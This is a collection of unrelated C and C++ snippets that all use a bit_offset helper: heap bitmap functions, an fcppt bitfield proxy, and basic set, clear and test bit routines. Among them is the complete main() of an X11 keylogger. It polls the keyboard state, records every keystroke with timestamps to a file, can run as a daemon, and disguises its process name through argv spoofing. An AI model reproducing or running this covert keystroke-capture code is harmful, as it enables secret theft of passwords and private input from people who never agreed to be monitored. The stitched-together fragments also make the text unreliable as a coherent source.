/** * @brief Lookup a single bit representing a single block, and return the bit state state as a boolean. * @param heap_state Pointer to the heap state related to the heap to use. * @param block The block index to look up. * @param map The bitmap in which to lookup the bit in question. * @return A boolean representative of the state of the bit. */ static bool get_bitmap_bit(heap_state_t* heap_state,int32_t block,uint32_t map[]) { if ( valid(heap_state,block) ) { return (map[block_offset(block)] & (1<<bit_offset(block))) ? true : false; } return false; }
fcppt::container::bitfield::proxy<StoredType>::operator fcppt::container::bitfield::value_type() const { return ( array_[array_offset(pos_)] & (1u << (bit_offset(pos_))) ) != 0u; }
/** * @brief lookup a bit in the bitmap and set the bit state from a boolean. * @param heap_state Pointer to the heap state related to the heap to use. * @param block The block index to look up. * @param map The bitmap in which to lookup the bit in question. * @param state The boolean state to use to set or reset the bit. */ static void set_bitmap_bit(heap_state_t* heap_state,int32_t block,uint32_t map[],bool state) { if ( valid(heap_state,block) ) { int32_t bitOffset = bit_offset(block); int32_t wordOffset = block_offset(block); if (state) map[wordOffset] |= (1<<bitOffset); else map[wordOffset] &= ~(1<<bitOffset); } }
void set_bit(char bit_array[], unsigned bit_number) { /* ** During the operator priority,shifting will be done before bitwise 'OR'. */ bit_array[character_offset(bit_number)] |= 1 << bit_offset(bit_number); }
void clear_bit(char bit_array[], unsigned bit_number) { bit_array[character_offset(bit_number)] &= ~(1 << bit_offset(bit_number)); }
int main(int argc, char *argv[]) { // Parse command-line options static struct option long_options[] = { {"append", no_argument, NULL, 'a'}, {"simple", no_argument, NULL, 's'}, {"time", no_argument, NULL, 't'}, {"daemonize", no_argument, NULL, 'd'}, {"pid-file", required_argument, NULL, 'p'}, {"spoof", required_argument, NULL, 'S'}, {"help", no_argument, NULL, 'h'}, {"version", no_argument, NULL, 'V'}, {0, 0, 0, 0} }; static char short_options[] = "astdp:h"; bool option_daemonize = false, option_append = false, option_simple = false, option_time = false; char *option_pidfile = NULL, *option_file = NULL, *option_spoof = NULL; char o; while ((o = getopt_long(argc, argv, short_options, long_options, NULL)) != -1) { switch (o) { case 'a': option_append = true; break; case 's': option_simple = true; break; case 't': option_time = true; break; case 'd': option_daemonize = true; break; case 'p': option_pidfile = optarg; break; case 'S': option_spoof = optarg; break; case 'h': print_usage(); exit(EXIT_SUCCESS); case 'V': print_version(); exit(EXIT_SUCCESS); case '?': exit(EXIT_FAILURE); } } if (optind < argc) option_file = argv[optind]; // Set up signals signal(SIGTERM, signal_quit); signal(SIGQUIT, signal_quit); signal(SIGINT, signal_quit); // Spoof argv if (option_spoof) spoof_argv(argc, argv, option_spoof); // Open X display Display *display = XOpenDisplay(NULL); if (!display) { fprintf(stderr, "Error: Could not open X display\n"); exit(EXIT_FAILURE); } // Open output file FILE *file = stdout; if (option_file) { file = fopen(option_file, option_append ? "a" : "w"); if (!file) { perror(option_file); exit(EXIT_FAILURE); } } // Daemonize if (option_daemonize) daemonize(option_pidfile); char keys_current[32], keys_last[32]; XQueryKeymap(display, keys_last); while (!end) { fflush(file); usleep(5000); XQueryKeymap(display, keys_current); for (int i = 0; i < 32; i++) { if (keys_current[i] != keys_last[i]) { int keycode = i * 8 + bit_offset(keys_current[i] ^ keys_last[i]); int keysym = XKeycodeToKeysym(display, keycode, 0); char *key = XKeysymToString(keysym); time_t now = time(NULL); char *timestamp = ctime(&now); timestamp[strlen(timestamp)-1] = 0; // Strip \n if (option_simple && keys_current[i] > keys_last[i]) { if (option_time) fprintf(file, "[%s] %s\n", timestamp, key); else fprintf(file, "%s ", key); } else if (!option_simple) { if (option_time) fprintf(file, "[%s] %c%s\n", timestamp, (keys_current[i] < keys_last[i]) ? '-' : '+', key); else fprintf(file, "%c%s ", (keys_current[i] < keys_last[i]) ? '-' : '+', key); } } keys_last[i] = keys_current[i]; } } XCloseDisplay(display); fclose(file); return EXIT_SUCCESS; }
//测试特定位的值 int test_bit( char bit_array[], unsigned bit_number ) { return (bit_array[ character_offset( bit_number ) ]& 1 << bit_offset( bit_number )) != 0; }